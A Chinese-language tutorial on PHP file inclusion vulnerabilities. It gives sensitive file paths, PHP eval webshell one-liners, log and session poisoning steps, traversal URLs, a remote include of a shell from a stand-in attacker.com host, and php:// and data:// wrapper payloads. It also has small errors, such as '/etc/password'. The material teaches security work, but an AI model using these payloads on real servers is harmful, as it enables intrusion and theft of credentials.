文件包含

admin 2026-01-20 01:41:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述PHP文件包含漏洞原理、核心函数及利用方式。涵盖配合上传、日志、Session、条件竞争的本地利用与远程包含技术,并讲解目录穿越及PHP伪协议攻击技巧。内容技术密集,为安全人员提供了漏洞原理与防御思路,有助于深入理解Web文件操作风险。 综合评分: 83 文章分类: WEB安全,漏洞分析


3、PHP常用文件包含函数

require():找不到被包含的文件会产生致命错误,并停止脚本运行

include():找不到被包含的文件只会产生警告,脚本继续执行

require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

4、辅助函数

highlight_file():高亮显示文件完整源代码(直接输出到页面);

show_source():与highlight_file()功能一致,高亮显示文件源代码;

readfile():读取文件内容并直接输出到页面(无高亮);

file_get_contents():读取文件内容并返回字符串(可赋值给变量,不直接输出);

fopen() + fread():打开文件并读取指定长度内容(需配合关闭文件函数fclose());

file():读取文件内容,按行拆分为数组返回。

5、前置基础

目录穿越  ../

常见敏感文件路径:

Windows系统:

C:\boot.ini //查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

C:\windows\repair\sam //存储Windows系统初次安装的密码

C:\ProgramFiles\mysql\my.ini //Mysql配置

C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码

C:\windows\php.ini //php配置信息

Linux/Unix系统:

/etc/password //账户信息

/etc/shadow //账户密码信息

/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP相关配置

/etc/httpd/conf/httpd.conf //Apache配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP相关配置

/etc/httpd/conf/httpd.conf //Apache配置文件

/etc/my.conf //mysql配置文件

5、本地文件包含

1、配合文件上传漏洞

有文件利用。上传含恶意代码的文件,利用文件包含解析执行恶意代码

利用文件上传等把恶意代码写入服务器本地文件,然后文件包含执行

eg:    http://xxx.com/include.php?file=./upload/webshell.jpg

2、包含Apache日志文件(无文件利用,无上传点)

原理:Apache 会记录所有访问请求(如访问 IP、请求路径、User-Agent 等)到日志文件,攻击者可修改请求的User-Agent为 PHP 恶意代码,让 Apache 将其写入日志,再通过文件包含漏洞包含该日志文件,执行恶意代码。

利用条件:

知道 Apache 日志文件的存储路径(如/var/log/apache2/access.log);

对日志文件拥有「读权限」;

网站存在文件包含漏洞。

操作:

1、抓包,找到User-Agent字段,修改为 PHP 一句话木马

eg:   User-Agent: <?php @eval($_POST['cmd'])?>

2、发送请求,让 Apache 将该User-Agent写入日志文件;

3、构造文件包含参数,访问 Apache 日志文件

eg :   http://xxx.com/include.php?file=../../../../var/log/apache2/access.log

3、包含Session文件(无文件利用,无上传点)

PHP 的 Session 会将用户会话数据存储在服务器本地文件中,若 Session 中存在「可被用户控制的变量」,攻击者可将恶意 PHP 代码写入 Session 变量,让服务器将其保存到 Session 文件,再通过文件包含漏洞包含该 Session 文件,执行恶意代码。

利用条件:

知道存储路径

对session文件有读权限

Session 中存在可控变量,且PHPSESSID可获取(在请求 Cookie 中)。

关键信息:

Session 文件命名格式:sess_[PHPSESSID](如PHPSESSID=abc123,对应文件sess_abc123);

常见存储路径:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

php的session文件的保存路径可以在phpinfo的session.save_path看到。

操作:

1、查看请求Cookie中的PHPSESSID

2、将恶意 PHP 代码写入 Session 变量(如通过表单、URL 参数等可控入口);

3、确认 Session 文件已生成,访问

eg:http://xxx.com/include.php?file=../../../../tmp/sess_6e4f29a8d7f14f2b9c3d4e5f6a7b8c9d

4、利用PHP SESSION UPLOAD PROGRESS +条件竞争

原理:PHP_SESSION_UPLOAD_PROGRESS是 PHP 的一个特性,用于跟踪文件上传进度,攻击者可利用该特性将恶意代码写入 Session 文件,再通过「条件竞争」快速访问该 Session 文件,在其被销毁前完成文件包含,执行恶意代码并生成永久 WebShell。

步骤:

1、构造上传表单(写入恶意代码,生成 Session 文件):

   

   

   

   

2、打开 Burp Suite,抓取该表单的上传请求包,持续发送(生成 Session 文件);

3、构造文件包含请求

http://xxx.com/include.php?file=../../../../tmp/sess_[PHPSESSID]

6、远程文件包含(RFI)

PHP 配置文件php.ini中需满足以下两个条件(默认高版本 PHP 已关闭,低版本常见):

  1. allow_url_fopen = On(允许打开远程文件);
  2. allow_url_include = On(允许包含远程文件)。

攻击者在自己的服务器(如http://attacker.com/)上创建恶意 PHP 文件shell.php,内容为一句话木马:<?php @eval($_POST['cmd']); ?>

构造远程文件包含参数,访问目标网站:

http://xxx.com/include.php?file=http://attacker.com/shell.php

目标服务器包含并执行远程shell.php,使用蚁剑 / 菜刀连接,获取服务器权限。

7、PHP伪协议

#

1、file://协议: 用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响

2、php://协议:

php://filter用于读取源码

php://input用于执行php代码 (allow_url_include:on)

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

php://filter/convert.base64-encode/resource=文件路径

3、zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。

要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)

只需要是zip的压缩包即可,后缀名可以任意更改。

相同的类型还有zlib://和bzip2://

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

4、data://协议

需要:allow_url_fopen :on    allow_url_include:on

data://text/plain,<?php phpinfo();?>

//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哦0吼 zoe zoe《文件包含》

文件包含 网络安全文章

文件包含

文章总结: 本文详述PHP文件包含漏洞原理、核心函数及利用方式。涵盖配合上传、日志、Session、条件竞争的本地利用与远程包含技术,并讲解目录穿越及PHP伪协
评论:0   参与:  0